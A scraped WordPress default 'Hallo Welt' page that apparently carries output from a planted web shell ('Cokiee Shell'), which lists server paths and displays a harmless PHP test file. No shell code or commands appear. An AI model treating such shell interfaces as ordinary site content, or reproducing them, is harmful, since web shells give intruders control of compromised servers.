Willkommen bei WordPress. Dies ist dein erster Beitrag. Bearbeite oder lösche ihn und beginne mit dem Schreiben!
Hallo Welt!
von raredesign | Dez 3, 2019 | Allgemein | 0 Kommentare
Cokiee Shell
Current Path : /usr/local/src/php7/php-7.0.5/tests/lang/ |
Current File : //usr/local/src/php7/php-7.0.5/tests/lang/returnByReference.002.phpt |
--TEST-- Returning a reference from a function. --FILE-- <?php function &returnRef() { global $a; return $a; } function returnVal() { global $a; return $a; } $a = "original"; $b =& returnVal(); $b = "changed"; var_dump($a); //expecting warning + "original" $a = "original"; $b =& returnRef(); $b = "changed"; var_dump($a); //expecting "changed" ?> --EXPECTF-- Notice: Only variables should be assigned by reference in %s on line 13 string(8) "original" string(7) "changed"
Cokiee Shell Web 1.0, Coded By Razor
Neueste Kommentare